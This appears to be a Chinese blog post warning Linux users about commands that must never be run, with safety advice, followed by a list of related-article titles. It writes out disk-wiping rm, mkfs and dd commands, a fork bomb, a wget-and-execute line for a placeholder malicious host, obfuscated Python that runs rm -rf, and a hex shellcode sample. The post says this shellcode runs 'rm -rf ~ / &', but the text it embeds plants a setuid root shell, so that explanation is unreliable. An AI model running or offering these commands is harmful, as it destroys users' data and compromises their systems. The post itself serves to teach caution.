本文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。

本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭 都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

1、下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

sudo rm -rf / --删除根分区全部的文件

sudo rm -rf . --删除当前目录下的所有文件

sudo rm -rf * --同上

rm -rf * or rm -rf *.* --同上

rm -rf ~ / & --删除根分区和家目录,即使你不是root,家目录还是不能幸免。

2、同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

sudo mkfs.xxxx

3、dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

sudo dd if=/dev/zero of=/dev/sda --全部硬盘清零。

sudo dd if=/dev/sda of=/dev/sdb --用第一块硬盘的内容覆盖第二块的内容。

sudo dd if=something of=/dev/sda --往硬盘上写垃圾数据。

4、同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

any_command > /dev/sda --用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

5、fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

:(){:|:&};:

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

fork while fork

有的时候,压缩包也是一个破坏来源~;有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

6、从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

wget [url]http://some_place/some_file[/url]sh ./some_file

wget[url]http://hax018r.org/malicious-script[/url]sh ./malicious-script

7、载脚本要确保来源正规,如果有能力,可以阅读其代码。即使有源代码的程序,也不要随便编译执行:

char esp[] __attribute__ ((section(".text"))) /*e.s.p

release*/

="xebx3ex5bx31xc0x50x54x5ax83xecx64x68"

"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"

"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"

"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"

"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"

"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"

"x6ex2fx73x68x00x2dx63x00"

"cp-p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

8、python 一类的脚本语言,同样可以拿来搞破坏:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

9、那么我们如何避免运行恶意程序呢?

第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。

第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。

第三要保证软件、脚本的来源正规。

10、最后一点,虽然比较消极,但是确实十分重要的一点:

经常备份你的数据!!

linux下hg无法运行_千万不要运行的 Linux 命令相关推荐

  1. linux下qt静态编译_自由出土文物的空间_百度空间

    linux下qt静态编译_自由出土文物的空间_百度空间 linux下qt静态编译_自由出土文物的空间_百度空间 linux下qt静态编译 2012-04-09 13:10 测试通过,贴一下过程,仅用来 ...

  2. 外网主机访问虚拟机下的Web服务器_服务器应用_Linux公社-Linux系统门户网站

    外网主机访问虚拟机下的Web服务器_服务器应用_Linux公社-Linux系统门户网站 之前在CentOS虚拟机上安装了LAMP,搭建起了自己的web服务器,具体流程见: http://www.lin ...

  3. Linux下VTK、ITK的安装及运行 转载

    Linux下VTK.ITK的安装及运行  转载 (2011-08-01 19:42:10) 转载▼ 标签: it   1.安装VTK (1)在www.cmake.org下载cmake-2.4.6.ta ...

  4. Linux下编译、链接、加载运行C++ OpenCV的两种方式及常见问题的解决

    Linux下编译.链接.加载运行C++ OpenCV的两种方式及常见问题的解决 在Linux下安装完OpenCV C++之后(还没有安装的读者请参考Ubuntu 18.04 安装OpenCV C++) ...

  5. linux下hg命令

    1.linux下hg命令 hg命令是程序mercurial程序的执行命令. man一下(前提,你要安装上hg,在ubuntu/debian中安装包为mercurial  在centos中安装包为hg) ...

  6. 嵌入式linux液晶显示中文,嵌入式系统Linux下液晶显示的实现_徐喆.pdf

    嵌入式系统Linux下液晶显示的实现_徐喆 显 嵌入式系统 下液晶 示的实现 徐 品 刘 单 殊 华 北 工业大 电子信 与控 工程 院 北 京 学 息 学 京 产 器 于 司 , 摘 要 介绍了嵌入 ...

  7. linux下jdk的安装和docker打包运行镜像

    文章目录 linux下jdk的安装和docker打包运行镜像 1.jdk安装 添加下面内容 2.nohup安装 2.1.创建springboot项目 2.2.IDEA+Spring Cloud+Mav ...

  8. linux服务器只读,linux文件只读怎么修改_网站服务器运行维护

    ubuntu如何查看系统版本信息_网站服务器运行维护 ubuntu查看系统版本信息的方法是:可以通过执行[cat /proc/version]命令来查看,该命令会输出linux内核版本号和ubuntu ...

  9. linux 服务器间通信,Linux 下的进程间通信:套接字和信号 | Linux 中国

    原标题:Linux 下的进程间通信:套接字和信号 | Linux 中国 学习在 Linux 中进程是如何与其他进程进行同步的. -- Marty Kalin 本篇是 Linux 下(IPC)系列的第三 ...

最新文章

  1. 一步步学习SPD2010--第十一章节--处理母版页(10)--重置母版页到网站定义
  2. 【面向对象设计模式】 适配器模式 (二)
  3. poj2912(带权并查集+枚举)
  4. python字符串截取:截取yaml文件名后3个字符
  5. sql 统计每月入职离职人数_入职登记表算合同吗?这里面有大学问
  6. 电脑键盘上每个键作用
  7. Ubuntu 16.04安装Chrome浏览器
  8. android module中获取 app_Android组件化架构 - 4. 动态创建
  9. 牛客网项目里的数据表
  10. Apollo 2.0 车辆控制算法LQR解析
  11. 可以通过格式化硬盘清除计算机病毒吗,电脑中毒,完全格式化硬盘可以吗?
  12. WORD文本框和文本框之间,文本框和文字相互不覆盖
  13. (附源码)Python学生兼职平台系统 毕业设计 160938
  14. 在三层交换机上配置Trunk并指定接口封装为802.1q
  15. 2022年最新上海机动车签字授权人模拟试题及答案
  16. LaTeX常用数学符号表示方法
  17. 第十一届蓝桥杯大赛软件类省赛第一场真题-Java语言B组
  18. 20个VC开发小技巧
  19. cron 表达式解读
  20. ip反查域名的详细信息(多种方法)

热门文章

  1. 使用FUSE挖掘文件上传漏洞
  2. Windows Print Spooler服务最新漏洞CVE-2021-34527详细分析
  3. 【PHP】关于IPv4、IPv6 的操作函数
  4. 5、ResultSet结果集
  5. 【C++】运算符重载
  6. powershell提取html字段,Windows PowerShell:PowerShell 中的 HTML 报告
  7. 【leetcode】762. 二进制表示中质数个计算置位
  8. 21 岁理工男开源的这个编辑器火了!
  9. 带你学python基础:函数是个function?
  10. Java 中 Comparable 接口的意义和用法.